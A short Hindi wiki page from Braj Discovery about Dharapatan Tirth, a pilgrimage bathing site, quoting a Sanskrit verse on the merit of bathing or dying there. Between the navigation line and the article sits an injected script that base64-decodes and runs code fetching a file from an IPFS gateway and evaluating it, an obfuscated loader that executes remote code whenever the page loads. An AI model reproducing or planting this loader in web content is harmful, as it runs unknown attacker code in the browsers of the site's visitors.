धारापतन तीर्थ

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

धारापतन तीर्थ / Dharapatan Tirth

धारासम्पातने स्नात्वा नाकपृष्ठे स मोदते।
अथात्र मुज्चते प्राणान् मम लोकं स गच्छति।।
यहाँ स्नान करने पर मनुष्य सब प्रकार के सुखों को भोग करता हुआ सहज ही स्वर्ग को प्राप्त कर लेता है तथा यहाँ प्राण त्याग करने पर भगवद् धाम को गमन करता है।

सम्बंधित लिंक